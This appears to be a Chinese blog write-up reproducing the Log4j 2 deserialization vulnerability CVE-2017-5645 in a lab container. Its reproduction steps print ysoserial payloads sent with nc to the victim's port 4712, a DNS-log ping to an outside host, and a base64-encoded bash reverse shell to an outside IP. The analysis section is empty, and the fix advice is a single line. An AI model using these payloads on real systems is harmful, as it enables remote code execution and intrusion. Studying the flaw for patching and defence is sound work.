发布于 

CVE-2017-5645(Log4j命令执行)

1. 漏洞描述

攻击者可以通过发送一个特别制作的二进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServerUdpSocketServer 添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。

2. 影响版本

Apache Log4j 2.8.2之前的2.x版本

3. 漏洞复现

3.1 查看服务情况

4712 端口开启一个TCPServer。

image-20221019140932164

3.2 使用ysoserial生成payload

1
2
#java -jar ysoserial-all.jar CommonsCollections5 "ping 00guir.dnslog.cn" | nc 受害机IP 4712
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 受害机IP 4712

3.3 查看写入结果

1
2
docker exec -it 容器ID /bin/bash
cd /tmp && ls

image-20221019141649833

3.4 生成反弹shell

1
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAxLjQyLjE3NjY4899i7HNiAwPiYx}|{base64,-d}|{bash,-i}" | nc 受害IP 4712

image-20221019142202003

3.5 结果

image-20221019142304700

4. 漏洞分析

5. 修复建议

更新到最新版本